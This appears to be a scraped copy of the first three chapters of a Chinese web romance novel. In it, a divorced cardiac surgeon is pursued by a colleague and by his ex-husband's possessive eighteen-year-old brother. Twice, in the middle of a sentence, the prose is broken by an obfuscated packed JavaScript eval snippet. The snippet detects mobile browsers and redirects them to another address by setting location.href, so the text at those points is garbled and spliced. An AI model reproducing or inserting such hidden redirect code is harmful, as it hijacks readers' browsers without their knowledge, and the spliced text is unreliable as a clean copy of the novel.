《离婚后被阴湿高中生盯上了》 1. 第 1 章 《等你离婚很久了》 文/北酌 晋江文学城正版首发 01 “唉你们听说了么?许医生好像已经离婚了。” “什么?什么时候的事?你怎么知道的?” “我昨天下班路过办公室无意间听到他跟岑医生在里面说话了,许医生说他上周就办好离婚手续了。” “真的假的啊?许医生那么优秀!他老公居然舍得离婚?” “说起来......我好像确实好久都没看到许医生戴婚戒了。” “要我说啊,许医生这婚确实该离,你们看他做住院总的时候他那个老公来看过他几回啊。” “是哦,我看其它有家室有对象的住院总三天两头都有对象来送温暖。” “这样的话!那我们温柔又帅气的周医生岂不是可以上位转正了?” “别说了别说了!许医生过来了!” 几个小护士纷纷闭嘴噤声,转进护士站各司其职。 只有一个面容年轻的护士仍端着一脸笑意看着从感应门走进来的人,“许医生,你怎么还没回去休息啊?” 重症监护室明亮的白炽灯光下,迎面走进来的许酌先看了眼几个病床上安睡的病人,这才无奈说,“又聊我八卦。” 几个小姑娘聊起八卦来没有刻意压低音量,许酌自然听到了。 但不意外。 毕竟他和丞敛的事在医院并不是秘密。 他和丞敛是研一那年在一起的,相恋第三年的时候国家突然推出同性合法婚姻的法律。 新法规刚推出没多久,丞敛就偷偷摸摸给他准备了一个求婚现场。 那天他所有的亲朋好友都在。 丞敛在所有人的见证下,保证会让他幸福一辈子。 许酌含着湿泪点头答应。 然后两人就在同性合法的第二年正式结婚了。 那年他刚好被聘上住院医。 住院医的工作琐碎又繁忙,还要紧跟着科主任一起上台做手术。 为了平衡他和丞敛的那个小家庭,他不管多晚下手术都会争分夺秒地赶回家去陪丞敛。 丞敛偶尔会有怨气。 但不会真的责怪他什么。 还会叮嘱他太晚就不要回来了,留在医院多多休息就好。 许酌那时候以为丞敛以后也会像当时那样一直支持他的工作。 结果轮到他做住院总,每天24小时都在医院standby不能回家时,丞敛忽然提议让许酌要不要换个不那么忙的工作岗位。 提议的结果就是两人因此大吵了一架。 情绪上头时,丞敛说了很多憋在心底已久的怨气。 许酌觉得失望,提出离婚。 丞敛毫不犹豫就答应了,然后摔门而出。 那天之后,两人一周都没联系。 一周后,丞敛让代理律师把签好字的离婚协议书送到了许酌手里。 签字那天,云城下了一场大雪。 高架桥上车祸频发,急诊送来不少突发心脏病的病患。 许酌一边给手术室打电话安排手术,一边签下离婚协议书。 忙到半夜,几个病人转危为安,白茫茫的大雪也已经掩盖一切。 许酌觉得这样挺好。 之后这件事就不再是秘密了。 毕竟他无名指上的戒指不在了。 小护士卖乖傻笑,“值夜班好辛苦的,聊聊许医生能让我们精神百倍。” 许酌看着她,“你最会贫了。” 许酌肤色润白,发丝乌黑,脸部线条是极致温润的完美。 他身姿挺拔,一尘不染的白大褂穿在他身上莫名为他增添了一阵难以言喻的吸引力。 明明都是熬夜值班,他身后的规培生岑嘉祯已经两眼无神了。 可许酌那一双黑若点漆的眸子里却仍氲着一片岁月静好的温柔。 此时笑起来,就衬得他更加赏心悦目了。 护士小姑娘早就对穿白大褂的医生祛魅了,但架不住许酌好看又温柔,而且说话的声音也润如清泉。 视觉和听觉双重享受的情况下,试问谁能扛得住啊! 然而还不等小护士继续心神荡漾,就听许酌收了笑意问:“三床怎么样?心率还快么?” 三床的老奶奶昨天刚做完瓣膜置换手术,手术很成功。 但因为患者年龄大了。 身体底子又不好。 所以术后这几个小时就要密切关注一些。 护士小姑娘一听许酌问病人相关的事宜,忙回神正色说,“心率这会不快了,但一直不稳,她两个小时前的血压也有些低,补了升压药才正常。” 说着话,护士把病程记录也递给许酌。 许酌接过病程记录。 岑嘉祯跟在许酌身后,目光越过许酌的肩落在记录上,“老师,这位奶奶凌晨三点的心率是不是太快了啊?” 许酌嗯了一声,放下病程记录,转身来到三床。 管床护士跟着走过来。 床上躺着一位头发花白的老奶奶,奶奶身上插着各种管子和监测仪,嘴巴里还插着供送氧气的管子。 老人家还在睡觉。 许酌没喊她,用放在床位的免洗酒精给手消了下毒,这才来到床边去摸了下老奶奶的手心和小腿。 手心正常,没有湿汗。 小腿按压有凹陷,但有明显回弹。 许酌看了眼心电监测仪,有了结论,但没说。 转眼问岑嘉祯,“看出什么了么?” 岑嘉祯跟许酌有半个月的时间了,早已习惯许酌这时不时地提问。 说起来,他之前在其它科室轮转的时候最怕带教突然提问了。 因为一不小心回答错了就会迎来一顿劈头盖脸的训斥。 但许酌不同。 许酌是他碰到过的最温柔的带教了。 他会允许你回答错误。 也会用最温和的方式来让你记住这个错误。 但他不会骂人。 最多罚抄一些基础病理罢了。 相比其他不顾场合就把你的人格尊严踩在脚底下碾压的带教老师。 岑嘉祯可太喜欢许酌的带教方式了。 而在这种相对轻松的学习环境下,岑嘉祯也很少因为紧张导致嘴巴跟不上脑子。 但其实,许酌去年年底才刚结束住院总升的主治。 并不是他的带教老师。 他的带教老师是许酌的上级。 也就是心外科的科主任。 只是因为科主任太忙了,没时间带学生。 所以才把他和几个见习都丢给许酌带了。 按道理来讲,许酌今年才二十八岁,自己都是个新手医生,是没有足够的资质和经验去带教学生的。 如果这个人是别人,岑嘉祯和其他实习生肯定会心生怨气了。 但这个人是许酌,连岑嘉祯在内的几个人不仅没有任何反对的意见,岑嘉祯甚至还因为高兴和激动而失眠了一整夜。 无他。 只因为许酌一直都是他崇拜的偶像。 许酌出身医学世家,父母和爷爷都是行业泰斗。 自身的天赋加上从小耳濡目染的环境,注定了他生来就比其他人的起点要高很多。 以至于在别人二十五岁刚开始申博的时候,他已经博士毕业了。 毕业后进附属医院当了一年住院医。 住院医结束后考主治。 考过即聘。 这其中有实力,也有运气。 当然还有普通医学生这辈子都无法触碰到的人脉推动。 可即便大家都心知肚明许酌身后站了多少医学大佬,却也不得不服气。 因为大家都知道,许酌年纪轻轻就当上主治的其中大部分原因,还是因为他自身足够优秀。 而他背后的人脉,只是占了很小一部分原因而已。 毕竟不是谁都可以在专业成绩上一直保持第一。 也不是谁的论文都可以被SCI收录,还收录了三篇。 更不是谁都可以在专硕期间就能在导师的指导下独立完成一台心脏二尖瓣置换手术。 岑嘉祯看过许酌那台手术的录像,手又快又稳。 简直就是天选外科的料。 对比他这个放到手术室都算得上无菌级别的清澈规培生,许酌真的厉害得不止一星半点。 以至于同级别的规培生听到他被分到了许酌手底下,一个个都快羡慕成红眼病了。 但其实。 岑嘉祯也有不足为外人道也的苦恼。 许酌太好看了。 不是在照片中以及各个师兄师姐口中传闻的那种好看,而是近距离看到都会下意识呼吸一滞的好看。 好看到只要许酌将视线直直落在他身上,他就忍不住脸皮发热。 饶是岑嘉祯已经跟了许酌半个月了,但他还是不敢去直视许酌那双漂亮的眼睛。 见他转眼看过来,岑嘉祯立即害羞低头,紧张又快速回答问题,“这位老人家刚做完瓣膜置换手术,心功能还没完全恢复好才导致心率不稳,护理过程中可以注射一些地|高|辛帮助心功能恢复。” 许酌点头,这才跟管床护士说,“推0.25毫克地|高|辛,同时注意血钾,再有其他问题随时联系我。” 护士点头,“好的许医生。” 查完其他病人,许酌出了GICU,回了办公室。 经过玻璃走廊时,岑嘉祯关切说,“许老师,我去给你买点早饭吧,你吃完饭再好好休息。” 许酌跟岑嘉祯说过很多次了,让他不要喊自己老师。 但这孩子就是不听。 久而久之,许酌也不管了,由着他了。 闻言,许酌下意识忽略称呼,只笑着说,“跟你说几遍了,你在心外轮转期间的任务不是给谁跑腿。” 今年三月的雨水格外多,淅淅沥沥了一整夜也不见有停的趋势。 此时窗外阴雨沉沉,看着就让人心生疲倦。 许酌笑起来,鼓出来的饱满卧蚕托着他那双黑亮的眼睛,仿若和煦的暖阳,温柔又明亮。 岑嘉祯看着那双漾着笑意的眼睛,只觉得夜班带来的疲惫在这一刻瞬间一扫而空。 甚至都忘了移开视线,直直回望着说,“不算跑腿的老师,我自己也要去吃早饭的。” 许酌说,“那你去吃吧,吃完直接回学校,下午出门诊的时候再过来。” 许酌之前没带过规培,但他自己也是从规培过来的。 所以他很清楚哪些工作是规培生一定要做的。 哪些工作纯粹是浪费人力时间的。 更清楚规培生这个阶段的时间有多紧张。 所以不会无理占用。 不管听过多少次这样的话,岑嘉祯还是会被许酌的温柔打动。 怎么会有这么温柔且为人着想的带教老师。 又怎么会有人舍得和这么温柔的人离婚。 从得知许酌离婚的消息后,岑嘉祯就一直在思考这个问题。 最后只得出,前夫哥真的很不知好歹。 这要是他,他绝对不会....... 出神间,两人已经走到办公室门口了。 许酌推开办公室的门,看到里面正在换衣服的人。 他进门跟里面的人打招呼,“师兄,你来这么早啊。” 办公室正在换上白大褂的男人转身回头。 白炽灯下,男人身量挺拔,五官周正。 高挺的鼻梁上架着一副无框眼镜。 看见许酌,冷静自持的眼底露出一抹温柔的的笑意。 岑嘉祯也回神问好,“周医生好。” 周黎安对着岑嘉祯点了下头,温柔的目光始终落在许酌身上,“值班结束了?” 许酌点了下头,掩着嘴打了个小小的哈欠,“嗯,刚从监护病房回来。” 周黎安看着他。 打完哈欠的眼睛容易泛出生理性眼泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207385|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时,许酌的眼睛湿润且泛红,半睁不睁时就显得格外迷离,仿若蒙着水气的月亮,缥缈又诱人。 困倦的嗓音里带着无意识的黏软,像猫尾巴一样。 扫得人心尖痒痒的。 周黎安无意识滚了滚喉咙,眼底闪出一片渴热,又很快被他压下去。 “正好,我给你带了早餐。”周黎安把带来的早餐递给许酌,“你吃完早餐就去休息下吧,我去查房。” 周黎安是许酌的同系师兄,比他大两届。 但只比他早一年升主治。 两人在同一科室,但不在同一组。 而是分给了两个不同的老师管。 两人的两位老师并不对付,却一点也不影响两个人的关系。 许酌之前也会给周黎安带早餐或是奶茶咖啡之类的。 因此许酌并没客气拒绝,礼貌道谢,“谢谢师兄。” 接着话音一转又说,“对了,昨天急诊送来好几个心梗的老年病人,现在都安顿在抢救室了,还有一个七十二岁的老年男性有急性心衰的表现,已经拍过cta了,确认是二尖瓣重度狭窄,我已经安排他办理住院了,现在人在607病房,师兄你等下去查房的时候重点帮我看一下。” 倒春寒的天气加上连绵的多雨,年长的老人容易因为感冒感染各种小问题引发心脏问题。 许酌昨天一个夜班接了过去一个星期的心梗病患量。 可把他忙坏了。 周黎安点头调侃,“好的许医生。” 他把许酌拉过来摁进椅子里,“我会重点留意一下的,现在许医生赶紧吃饭,吃完饭去休息。” 许酌笑,“那就辛苦师兄啦。” 周黎安嗯了声,收回手时他无意识摩挲了一下指尖。 明明只是隔着衣服摁了下许酌的肩膀,并没有触碰到他的皮肤。 可周黎安还是觉得指腹多了一阵柔软的触感。 周黎安垂眸,目光落到许酌从后领出露出来的后颈。 乌黑发尾和雪白的后颈形成鲜明的对比,让人情不自禁目眩神迷。 周黎安很清楚自己在想什么。 兜兜转转这么多年,他对许酌的喜欢还是没有消失。 只是在得知他跟丞敛结婚后蛰伏了两年而已。 现在许酌和丞敛已经离婚了,那阵蛰伏已久的喜欢也再次死灰复燃。 他想追许酌。 想追到许酌。 而且还要尽快。 因为许酌真的太优秀了,哪怕他结过婚又离过婚,也是个让人无比心动的存在。 “师兄?”许酌见周黎安还在原地发愣,仰头喊他。 周黎安眨眼回神,“抱歉,刚走神了,那你吃饭吧,我去查房了。” 说完就转身出了办公室。 虽然周黎安真的很想快点追到许酌。 但许酌刚离婚不久,他很清楚现在不能操之过急。 不然只会适得其反。 他不敢冒险,只能忍着心急多给许酌留一些时间。 周黎安不知道是不是怕许酌饿到,每次给他买早餐都买很多。 许酌吃不完那么多,就喊岑嘉祯一起吃。 吃完早餐,岑嘉祯回学校了。 许酌就去值班室补觉去了。 一觉睡到中午,他简单洗漱一下就去监护室溜达了。 三床的老奶奶忽然出现手心有湿冷的迹象。 这种情况有肺部感染的迹象,许酌延长了气管时间,并修改了用药。 最后又交代护士几句,就准备去找周黎安吃午饭。 周黎安请了他早饭,他得请回去。 结果周黎安不在,上手术了。 许酌只好自己去了。 午饭结束,许酌去了门诊。 刚到就见岑嘉祯已经在诊室做准备了。 每周五下午都是各科开放便民门诊的时间。 便民门诊也称教学门诊,同时还可以称为免费门诊。 免费门诊出诊的都是医院里的规培生。 为了保障病患的用药安全,也为了避免医患纠纷,每一个规培生身边还会跟一个住院以上的医师。 偶尔哪个病人比较幸运,也会碰到副高级别的大佬在一旁坐镇。 心外科忙的要死,自然是没有主任随行坐诊的。 只有许酌这个主治医师随行。 好在岑嘉祯不是第一次坐门诊了,一些简单的病理问题他都能解决。 只是会在开药的时候跟许酌确认一下。 心外科的老年病患本来就是最多的,加上免费问诊这种不占白不占的便宜在前。 就导致本就老年化的群体更加庞大了。 这也就意味着,岑嘉祯在诊断的时候需要更加的耐心。 也要更加注意沟通技巧。 同样的,许酌也不能当着病人的面说岑嘉祯开错药了。 只会委婉说这个药不适合患者这个年龄吃。 然后重新给他修改药方和医嘱。 虽然许酌没有骂人,但每次修改药方和医嘱的时候,岑嘉祯都会非常惭愧地觉得自己是个废物。 岑嘉祯:o(╥﹏╥)o 直到门诊快结束时,岑嘉祯才双手合十跟许酌认错:“老师我错了!你骂我吧!!” 不然他心里真的会过意不去的! 许酌就笑,“骂你你就能记住么?” 岑嘉祯认真说,“你骂了我我心里会舒服一点,不然我真怕自己会蠢到你!” 眼见这人的脑袋都快低到自己胸口了,许酌笑着拍了拍他的肩膀,“好了,没那么严重,你现在只是.......” 话还没说完,诊室的门被敲响,随后被推开。 门外走进来一个人。 那人身穿蓝白校服,人高腿长,脸上戴着黑色口罩,只露出一截高挺的鼻梁和一双沉黑的眼眸。 几乎没有过多确认,许酌就喊出门口那人的名字,“小弋?你怎么来了?” 2. 第 2 章 02 丞弋没有看许酌,目光落在许酌搭在岑嘉祯肩上的那只手上。 随后又缓缓移到岑嘉祯脸上。 岑嘉祯转头对上他的视线,心口莫名一凛。 不知道是不是他的错觉,他感觉自己好像被一阵犹如毒蛇般湿冷的敌意给包裹住了。 来势汹汹的敌意让他下意识防备起来,蹙眉和门口的丞弋对视。 许酌没注意到两个人的视线。 他收回手看了眼叫号系统,确定丞弋是挂号来看病的,不由得担心起来:“是身体不舒服么?快过来我看看。” 见许酌的手离开岑嘉祯的肩膀,丞弋这才缓缓移开视线。 只那一秒,岑嘉祯就觉得笼罩在自己身上的阴冷敌意全都消失了。 丞弋关上门,一边摘下口罩一边往许酌的方向走,“许酌哥,我是来做检查的,不知道你在。” 这是在回答许酌第一个问题。 便民门诊在开放号源的时候只会显示规培医生的名字,不会出现随行医生的名字。 能碰到什么级别的随行医生全看运气。 丞弋不知道他在也很正常。 许酌没有怀疑,嗯了声朝他招手,“过来坐。” 岑嘉祯却保持怀疑。 心外科今天开了两个诊室,这个叫丞弋的明显过了好几个号。 岑嘉祯怀疑这个人是故意拖号只为了进他这个诊室。 但这种不属于看诊的细节他自然没跟许酌提,只是不错眼地盯着门口走进来的人。 没了口罩的遮挡,岑嘉祯这才看清丞弋的长相。 眼前这位穿校服的高中生长得白白净净,一张朝气蓬勃的脸是毫无瑕疵的精致。 他额前乌黑碎发自然垂落,半遮在狭长的眼前,给人一种莫名的温顺。 而他此时看向许酌的眼睛里也蕴满了清澈的纯真。 说话的声音里还带着些青涩的磁性。 以及一些恰到好处的乖巧。 仿佛刚才那个对他释放敌意的人不是他一样。 不知道出于什么心理,岑嘉祯忽然警惕问,“老师,他是.....?” 许酌一边用免洗酒精擦手,一边回答说,“这是我弟。” 听到是弟弟,岑嘉祯下意识想松一口气,却在再次迎上丞弋视线时顿住。 丞弋垂着眼看他。 向下的眼里带着些天然的冷感,和看向许酌的目光完全不一样。 “哪里不舒服?”许酌关切问丞弋。 丞弋收回视线,在许酌面前坐下,“这几天胸口闷,呼吸也有点不顺畅。” 许酌戴好听诊器,用掌心捂住冰凉的探头,“有感冒么?” 丞弋摇头,“没有。” 许酌说,“拉链拉开,我听一下心跳。” 丞弋照做。 许酌见他单薄的校服里只穿了一件单薄的T恤,不悦蹙眉,“怎么穿这么少?知道外面几度么?” 丞弋抿唇笑了一下,“还好,不冷的。” 许酌不赞同地看他一眼,倒也没有多说什么了。 他也是这个年纪过来的,知道这个年纪的大男孩都是不怕冷的。 而且说多了还嫌你烦。 许酌扶住丞弋的肩膀,将探头贴上丞弋的胸口,“来,慢慢深呼吸。” 人也随之倾靠过去。 过近的距离里,丞弋闻到一阵来自许酌身上的味道。 清淡的香味里揉着一丝酒精味。 很好闻。 丞弋不自觉深吸了一口。 同时,他安静的目光也悄无声息落在了许酌专注的眉眼之上。 顺着漂亮的眉眼慢慢滑过秀挺的鼻梁。 最后落在形状饱满的唇上。 这张软唇他想亲很久了。 现在许酌哥就这样毫无防备地离他这么近,对他来说简直就是勾引。 但丞弋也知道现在还不能亲。 他还没开始追人。 等追到了人再亲也不迟。 到那时,他一定会把这张软唇亲到红肿起来。 丞弋的思绪已经开始浮想许酌被亲到喘不过气时的迷蒙表情了,表面上却乖乖听话地开始深呼吸。 许酌没察觉到他掩在细碎发丝下的眼睛里藏了多阴翳的想法,专注说,“吐气。” 丞弋低着头缓缓吐息,垂落的目光刚好落在许酌的右手上。 许酌的手精致如玉,白皙,修长,干净。 是毋庸置疑的好看。 现在那好看的无名指上没了碍眼的银色婚戒,丞弋就觉得更加好看了。 同样的,他忽然觉得丞敛那个傻逼好像也没那么讨人厌了。 丞弋忍不住弯起唇角,露出愉快的笑意。 抬眼时,发现岑嘉祯正盯着他看。 因为心情好,丞弋额外给了他一个笑。 很乖的笑。 岑嘉祯:。 岑嘉祯觉得他有病。 “再深呼吸。”许酌的声音在耳边响起。 又来回深呼吸了一遍,许酌说,“转过去,我听一下后面。” 听完背部心音,许酌蹙着眉说,“心跳是有些快,但没其它问题,是最近学习压力太大了么?” 许酌好久没见过丞弋了,但犹记得他今年应该是正值高三下半年的关键时期。 这个时候的精神压力有多大,经历过高考的人都知道。 丞弋却摇头说,“没有,学习没什么压力。” 只是太想你了,许酌哥。 许酌:。 忘了。 丞弋的学习成绩一直都是名列前茅的。 他高一替丞敛去给丞弋开家长会的时候,还被各科老师当众夸奖来着。 没给谁开过家长会的许酌当时就有种与有荣焉的骄傲感。 许酌就说,“那你先去做个心电图吧,我看看有没有其它问题。” 丞弋点头,“嗯,好。” 岑嘉祯给丞弋开了心电图的单子。 把单子递给他时,岑嘉祯下意识说,“心电图在C楼三层。” 丞弋接过单子,声音温顺,“嗯,谢谢医生。” 岑嘉祯:。 岑嘉祯觉得这位弟弟有点心机。 明明刚进来时对他满身敌意,这会当着许酌的面却装模作样地摆出一副温顺的礼貌样。 让人觉得讨厌。 心电图很快出结果,不到半个小时丞弋就拿着结果回来了。 “许酌哥,结果出来了。”丞弋敲门进来。 许酌正在指导岑嘉祯心电图波形问题,闻言抬头朝着门口看过去。 然后抬手说,“给我看看。” 丞弋走过来,把单子递给许酌。 许酌接过看了眼,没说什么,转手给岑嘉祯,“你看一下有没有问题。” 丞弋蹙眉。 岑嘉祯刚因为给病人看错心电图下错诊断而被许酌重新指导过。 这会根本没心思注意丞弋的表情。 接过丞弋的心电图单子就认真看了起来。 几秒后,他颤颤抬眼说,“他的心电图.......好像没有问题。” 许酌看着他,“好像没有问题。” 岑嘉祯立即改口说,“确定没问题!” 许酌嗯了声,说,“今天门诊结束后回去多看看临床心电学的知识点,你想留在心外不会看心电图是不行的。” 岑嘉祯老老实实点头,“好的老师!” 许酌没继续多说了,拿回丞弋的检查单说,“你的检查报告来看没有任何问题,平时胸闷的多么?” 丞弋说,“不多,就这几天开始的。” 现在最闷。 许酌哥你为什么把我的心电图给他看? 连心电图都不会看的蠢货还当什么医生,让他去捡垃圾好了。 许酌敏锐发现丞弋的情绪有些低,但没追着问,只说,“行,我知道了,你先出去等我吧。” 丞弋接过检查单,神色有些懵然,“嗯?” 许酌说,“我快结束了,等下送你回学校。” 丞弋弯起唇角,“好。” 便民门诊一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207386|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次只放五十个号,全部看完正好到下班时间。 许酌刚从门诊室出去,听话等在门口的丞弋就立即从长椅上起身,“许酌哥,你结束了?” 许酌嗯了声,“结束了,走吧,跟我去换衣服。” 回到办公室换好衣服准备走时,岑嘉祯说,“老师你先走吧,我把今天的病例写一下。” 许酌看他,“你以后有写不完的病例,现在赶紧回去补一下心电学,明天来我要考你的。” “.......”岑嘉祯立即蔫了,“好吧。” 车子停在负二层。 到地下室找到车子,许酌用钥匙解锁。 他往驾驶座走,丞弋往副驾驶走。 开门上车,许酌启动车子。 身边的丞弋在发动机转动的声响中说,“许酌哥,这个安全带好像拉不下来。” 许酌疑惑嗯了声,“怎么会?” 但人还是倾靠过去帮忙拉了下安全带。 近距离靠过来的侧脸和丞弋只有短短几公分的距离。 这个距离里,丞弋能清楚看到许酌长睫的卷翘弧度,以及优越侧脸上的细小绒毛。 视线往下探,甚至还能看见微微敞开的领口露出的漂亮脖颈和精致锁骨。 丞弋近乎贪婪地盯着许酌漂亮的脖颈。 好白,好软。 感觉轻轻一碰就会留下殷红的印子........真想咬一口。 想让许酌哥带着自己的留下的印记去查房,去上台做手术,去带那个蠢货规培。 这样所有人都能看到他留下的印记。 像戒指一样。 许酌本以为安全带卡主了,结果并没有。 他稍稍一用力就拉了下来。 当然,他并不知道丞弋是故意的。 帮丞弋系好安全带后,他摊开两只手伸到丞弋面前,“来小弋,你抓一下我的手。” 丞弋目光一怔,眼底的贪婪像被火烧一样,瞬间热了起来。 许酌当他没听懂,解释说,“我要确认下你双手的力气。” 正常这个年纪的高中生不该连拉安全带的力气都没有。 许酌怀疑丞弋有什么自己没有检查到的问题。 听他这么说,丞弋就知道许酌在想什么了。 他没解释,直接抬手抓住许酌的手。 但没舍得用力,只是不自觉用大拇指细细摩挲了几下许酌的手背。 许酌哥的手好软,摸着好舒服.......好想这样一直牵下去。 许酌却说,“用力。” 丞弋凝望着许酌,黑沉的眼底泛滥着病态的占有欲,“用力?” 许酌点头,“嗯,用力,用你最大的力气。” 最大的力气......丞弋感受着掌心里柔软的指骨,有点不舍得。 他的力气很大。 最大的力气肯定会让许酌哥疼到哭出来。 虽然他很想看许酌哥哭。 但不是以这种方式。 所以丞弋这次并没有听许酌的,只是用了一半的力气去攥紧许酌的手。 许酌感受着丞弋慢慢收紧的力度,确定他的左右手发力没有问题这才放下心。 刚才可能确实是安全带卡住了。 许酌说,“好了,松开吧,你的左右手发力没问题。” 丞弋眨眼,“真的没问题么?许酌哥你再好好感受下吧。” 许酌就笑,“你怀疑我的专业能力啊。” 丞弋立即摇头,“当然没有,许酌哥是我见过最厉害的医生。” 许酌挣开他的手,转而去揉了揉他的头,“放心吧,你暂时没有任何问题。” 手心空的一瞬间,丞弋眼底立即腾起阴翳的怨气。 但等那柔软的掌心又覆盖到自己头上时,他眼底的阴翳又顷刻化为乖巧的笑意。 然后不说话了。 安静由着许酌揉他的头。 他很喜欢许酌哥揉他的头,这会让他有种被宠爱的感觉。 但如果许酌哥能揉揉其它地方。 那就更好了。 3. 第 3 章 03 哄好丞弋,许酌把车子开出了医院。 外面已经没有下雨了,但天已经黑透了。 把车子开上主路,许酌问丞弋,“你晚上是不是还有自习?” 丞弋摇头,“没,今天跟老师请假了,不用回去上自习。” 许酌点头,“行,那你晚饭想吃什么?我带你吃完晚饭再送你回去吧。” 丞弋张了张嘴还没发出声音,柏林音箱里就响起了电话的声音。 下一秒,显示屏上也跟着显示出周黎安的名字。 丞弋不悦啧了一声。 烦。 但声音太小,许酌并没听到。 他担心周黎安找他是医院有急事,连忙按下接听。 “怎么了师兄?”许酌一边放缓车速,一边问电话那边的周黎安。 周黎安的声音透过免提响在车厢里,“下班了么?” 许酌看了眼后视镜,做好变道的准备:“下班了,我刚从医院出来,是有什么事么?” 周黎安说,“医院没事,我是想让你等我一下,我们一起去吃个晚饭。” 这话一出许酌就知道医院暂时没有需要他回去的急事,于是放心继续往前开,“改天吧师兄,我现在跟小弋在一起呢。” 周黎安追问:“小弋?谁啊?” 许酌淡然说,“丞敛的弟弟。” 周黎安啧了一声,似是有些烦:“丞敛他弟怎么跟你在一块?” 许酌说,“他今天身体不舒服,来门诊刚好碰到我了,我现在带他去吃饭。” 周黎安在那边叹了口气,“行吧,那我们下次约吧。” 挂完电话,许酌转头去看丞弋,“你刚说想吃什么?” 丞弋没答反问,“许酌哥,这人在追你么?” 许酌被他直白的问题问得猝不及防,轻咳了一声才说,“小孩子别打听大人的事。” 丞弋穷追不舍,“许酌哥喜欢他么?” 许酌:“.........” 路口正好遇红灯,许酌踩下刹车稳稳停下来,转头看着丞弋,“你这小朋友什么时候这么八卦了?” 为了防止他继续口不择言,许酌继续问,“快说吃什么,等下前面要上高架了。” 丞弋安静两秒,说,“去松阳楼吃吧。” 许酌轻笑,“你居然也喜欢松阳楼的菜么,我以为你会说吃披萨汉堡之类的。” 丞弋不喜欢吃松阳楼。 可以说他没什么特别喜欢吃的东西,也没什么特别讨厌吃的东西。 食物在他眼里就是能让他活下去的东西。 所以,他对吃方面没有任何要求。 之所以说松阳楼也只是因为他知道许酌爱吃。 回答完许酌的问题,丞弋继续追问,“许酌哥,你还没回答我的问题。” 见他执着,许酌只好说,“暂时还不喜欢。” 丞弋重复,“暂时?” 许酌嗯了声,说,“成年人的喜欢没那么简单的,我现在确实不喜欢他,但之后我会不会因为某个细节动心就未可知了。” 丞弋点了点头,又问,“那许酌哥喜欢我么?” 许酌笑,用一种哄孩子的语气说,“喜欢啊,我不是最喜欢你了么。” 丞弋不介意他的语气,稍侧身子,目光直勾勾看着许酌,“那许酌哥可以跟我交往么?” 猝不及防的一句话让许酌整个人都惊了一下,“什么?” 丞弋认真,“许酌哥,我喜欢你,你能跟我交往么?” 路灯透过挡风玻璃洒落进来。 有缕光刚好挂在丞弋眼尾,衬得少年人眼中那片喜欢也似着了火般,热烈无边。 许酌沉默。 车厢安静。 许酌见过很多人跟他表白,其中有男生,也有女生,但从来没有高中生。 而且这个高中生还是他前夫的亲弟弟........这叫什么事? 许酌没处理过这种表白,有些不知所措。 嘀—— 耳边响起刺耳的鸣笛声。 许酌回神抬眼一看,路口的信号灯不知何时已经变成绿色的了。 他松开刹车,转而踩下油门让车子正常行驶起来。 而他沉默的间隙里,丞弋也不催促他,只是耐心而专注地盯着他看。 许酌目视前方掌控着方向盘。 但他仍能感受到丞弋落在他身上那道如有实质、且滚烫的视线。 回避不是许酌的性格,而且丞弋不是无关紧要的人。 他要更加重视、更加小心对待才行。 思虑几秒后,许酌将车子缓缓停靠在路边。 打开双闪,将车子挂到P档。 而后转头看向丞弋,不躲不闪地直视他的视线,“小弋,你知道你在说什么么?” 丞弋点头,目光坚定,“知道,我在说我喜欢许酌哥,想请许酌哥跟我交往。” 许酌耐心问,“那你喜欢我什么?” 丞弋字字清晰,“喜欢许酌哥漂亮、聪明、温柔又有耐心,喜欢许酌哥专业能力很强,但生活上的自理能力很差,喜欢许酌哥不笑的时候像月亮,笑起来像太阳,喜欢许酌哥说话的声音........” “好了,可以了。”许酌没想到他一口气能回答这么多,他自己都快听不下去了,赶紧叫停。 丞弋视线灼热,“许酌哥,关于我喜欢你什么,我还可以说很多,你真的不要听了么?” 见他来真的,许酌的神色也更加认真了,“小弋,你不可以喜欢我,你喜欢我是不对的。” 丞弋没有蹙眉,可一双黑眸却肉眼可见地阴沉了下去,“为什么?因为我是丞敛的弟弟么?” 许酌缓声跟他解释,“你是谁和你喜欢谁没有冲突,我也不会用这个理由拒绝你,那对你不公平。” 他没有因为丞弋忽然说出口的喜欢而疏远他,仍把他当弟弟似的抬手摸了摸他蓬松的黑发,“但是小弋,你年纪太小了,你该去喜欢一个同龄人,去体验独属于十八岁的悸动和青春,而不是喜欢一个已经不再青春的中年人。” “许酌哥。”丞弋纠正他,“你才二十八岁,是青年,不是中年。” 许酌笑,“是啊,我都二十八了,你才十八,正是最美好的年纪,所以你更加不可以把你那最珍贵的感情投放到我身上,那样太浪费了,知道么?” 他轻轻拍了拍丞弋的头做哄慰。 拍完准备收回手时,却在半路被丞弋抓住了。 许酌看他。 丞弋和他对视,眼底蓄着一片如夜色般沉黑的偏执,“许酌哥,喜欢你绝对不是一种浪费。” 许酌叹笑。 十八岁正是喜欢大过天的年纪。 而十八岁的少年往往又是自尊心最强的时候。 许酌担心自己话说得过于重了会伤害到丞弋。 毕竟丞弋正是高三的关键时期。 “好,那我尊重你的喜欢。”许酌温声笑了笑,“也谢谢你把这么珍贵的喜欢放到我身上,我感觉很荣幸。” “但是小弋。”许酌话音一转,视线正色了起来,“你要知道,你现在是一名高三学生,你目前最重要的事情是准备高考,而不是在把心思花在喜欢谁这件事上,知道么?” 